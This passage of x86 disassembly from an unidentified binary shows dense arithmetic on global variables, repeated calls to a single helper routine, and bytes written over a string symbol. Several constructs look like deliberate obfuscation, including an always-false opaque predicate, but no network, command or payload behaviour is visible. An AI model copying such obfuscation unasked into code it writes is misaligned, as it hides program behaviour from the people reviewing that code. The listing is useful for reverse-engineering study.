mov dword [0x100cd0a4], edx
mov eax, dword [ebp - 0x64]
sub eax, 0x7e8d
xor ecx, ecx
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], ecx
jmp 0x1004d44a
cmp dword [ebp - 0x38], 0
je 0x1004d44a
movzx edx, word [0x100cd094]
mov eax, dword [0x100cd100]
imul eax, edx
mov ecx, dword [0x100cd100]
sub ecx, eax
mov dword [0x100cd100], ecx
movzx eax, byte [0x100cd06e]
cdq
push 0xe5ac5
push 0xc2098614
push edx
push eax
call fcn.10099890
mov word [ebp - 0x34], ax
mov eax, dword [ebp - 0x3c]
cdq
push edx
push eax
mov edx, dword [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x80]
push eax
call fcn.10099890
mov byte [ebp - 0x12], al
movzx ecx, byte [0x100cd082]
movsx edx, byte [ebp - 0x12]
imul edx, ecx
movsx eax, byte [ebp - 0x12]
and eax, edx
mov byte [ebp - 0x12], al
mov ecx, dword [0x100cdb38]
xor edx, edx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x68], edx
movzx eax, byte [0x100cd027]
sub eax, 0x61ad2e6b
mov word [0x100cd108], ax
jmp 0x1004d4ed
movzx ecx, word [ebp - 0x1c]
test ecx, ecx
je 0x1004d4ed
mov edx, dword [ebp - 0x6c]
mov dword [ebp - 0x64], edx
movzx eax, byte [0x100cd07f]
shl eax, 4
cdq
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], edx
mov eax, dword [0x100cd104]
and eax, 0x9de3
mov dword [0x100cd104], eax
mov ecx, dword [0x100cd0c0]
mov edx, dword [0x100cd0c4]
mov dword [ebp - 0xae8], ecx
mov dword [ebp - 0xae4], edx
mov eax, dword [ebp - 0xae8]
or eax, dword [ebp - 0xae4]
je 0x1004d4b6
movsx ecx, word [0x100cd0e8]
mov dword [ebp - 0x338], ecx
jmp 0x1004d4c3
movzx edx, word [0x100cd0b8]
mov dword [ebp - 0x338], edx
mov eax, dword [ebp - 0x338]
cdq
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
movzx eax, word [ebp - 0x30]
movsx ecx, word [0x100cd110]
add ecx, eax
movsx edx, word [0x100cd110]
add edx, ecx
mov word [0x100cd110], dx
mov eax, dword [ebp - 0x744]
imul eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe8]
sub ecx, dword [ebp - 0xe8]
imul ecx, eax
cmp ecx, 0x3d9
je 0x10055414
mov eax, dword [ebp - 0x3c]
cdq
mov ecx, dword [ebp - 0x6c]
sub ecx, eax
mov eax, dword [ebp - 0x68]
sbb eax, edx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x38], 0
jne 0x1004d53b
mov dword [ebp - 0x33c], 1
jmp 0x1004d545
mov dword [ebp - 0x33c], 0
mov ecx, dword [0x100cd084]
movsx eax, word [0x100cd0e8]
add eax, dword [ebp - 0x33c]
cdq
add eax, dword [ebp - 0x78]
xor eax, ecx
mov word [0x100cd0e8], ax
movzx edx, word [0x100cd0b8]
add edx, 0x569f
mov word [0x100cd0d8], dx
mov eax, dword [ebp - 0x64]
xor eax, 0x3d0daa5d
mov dword [0x100cd084], eax
cmp dword [0x100cd0e4], 0
jne 0x1004d59a
mov dword [ebp - 0x340], 1
jmp 0x1004d5a4
mov dword [ebp - 0x340], 0
mov ecx, dword [ebp - 0x340]
mov dword [0x100cd0ac], ecx
mov edx, dword [0x100cd0e4]
sub edx, 0xb508
xor eax, eax
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], eax
movsx eax, byte [0x100cd026]
cdq
mov dword [ebp - 0xaf0], eax
mov dword [ebp - 0xaec], edx
mov ecx, dword [ebp - 0xaec]
cmp ecx, dword [ebp - 0x50]
jb 0x1004d5fc
ja 0x1004d5f0
mov edx, dword [ebp - 0xaf0]
cmp edx, dword [ebp - 0x54]
jbe 0x1004d5fc
mov dword [ebp - 0x344], 1
jmp 0x1004d606
mov dword [ebp - 0x344], 0
movsx eax, byte [0x100cd026]
cmp eax, 0x30
jle 0x1004d61e
mov dword [ebp - 0x348], 1
jmp 0x1004d628
mov dword [ebp - 0x348], 0
mov ecx, dword [ebp - 0x344]
cmp ecx, dword [ebp - 0x348]
je 0x1004d699
movsx edx, word [ebp - 0x34]
movsx eax, byte [ebp - 0x12]
xor eax, dword [0x100cd090]
sub eax, edx
mov byte [0x100cd096], al
movzx ecx, byte [0x100cd027]
imul edx, ecx, 0x47
mov byte [ebp - 0x13], dl
mov eax, dword [0x100cd0f8]
sub eax, 1
mov ecx, dword [0x100cd0fc]
sbb ecx, 0
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], ecx
movzx edx, word [ebp - 0x20]
imul edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
sub eax, edx
mov dword [ebp - 0x60], eax
movsx ecx, word [0x100cd098]
mov edx, dword [0x100cd104]
sub edx, ecx
mov dword [0x100cd104], edx
movzx eax, word [ebp - 0x84]
cmp eax, 0x423
jne 0x1004d958
movsx ecx, byte [0x100cd026]
sub ecx, dword [ebp - 0x70]
movsx edx, byte [0x100cd026]
sub edx, ecx
mov byte [0x100cd026], dl
movsx eax, byte [0x100cd083]
mov ecx, dword [0x100cd0f0]
imul ecx, eax
sub ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0x54]
not edx
mov eax, dword [0x100cd084]
sub eax, edx
add eax, ecx
mov byte [str.6BlockUpgradeIfDriv], al
movsx eax, word [0x100cd0e8]
cdq
mov ecx, dword [ebp - 0x68]
push ecx
mov ecx, dword [ebp - 0x6c]
push ecx
push edx
push eax
call fcn.10099890
mov ecx, eax
mov esi, edx
movzx edx, byte [ebp - 0x11]
movzx eax, word [ebp - 0x24]
add eax, edx
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov ecx, eax
not ecx
movsx edx, word [0x100cd108]
movzx eax, word [ebp - 0x24]
add eax, edx
movsx edx, byte [0x100cd096]
not edx
movsx esi, word [ebp - 0x28]
imul esi, edx
add eax, esi
cdq
sub eax, ecx
not eax
mov byte [str.6BlockUpgradeIfDriv], al
movsx eax, word [ebp - 0x34]
cdq
add eax, 0xcb1fe1ce
adc edx, 0x1eea0
mov ecx, dword [ebp - 0x48]
mov esi, dword [ebp - 0x44]
push edx
push eax
push esi
push ecx
call fcn.10099890
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov edx, dword [ebp - 0x70]
xor eax, eax
push 0x1154b
push 0x84a09d77
push eax
push edx
call fcn.10099890
mov ecx, eax
movzx edx, word [0x100cd094]
mov eax, dword [0x100cd104]
add eax, edx
cdq
mov esi, eax
add esi, ecx
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0xbf8], edx
movzx eax, byte [0x100cd06e]
cdq
xor eax, ecx
mov ecx, dword [ebp - 0x60]
add ecx, eax
add ecx, esi
mov dword [ebp - 0x40], ecx
push 0
push 0x7425
mov edx, dword [0x100cd0d4]
push edx
mov eax, dword [0x100cd0d0]
push eax
call fcn.10099890
mov dword [0x100cd0b0], eax
mov dword [0x100cd0b4], edx
mov ecx, dword [0x100cd0d0]
or ecx, dword [0x100cd0d4]
je 0x1004d813
imul ecx, dword [ebp - 0x64], 0xc8ed
mov byte [0x100cd027], cl
mov edx, dword [0x100cdb38]
xor eax, eax
mov dword [ebp - 0x80], edx
mov dword [ebp - 0x7c], eax
movzx ecx, byte [ebp - 0x13]
mov edx, dword [0x100cd0e0]
sub edx, ecx
mov dword [ebp - 0x3c], edx
movsx eax, byte [str.6BlockUpgradeIfDriv]
test eax, eax
jne 0x1004d9a1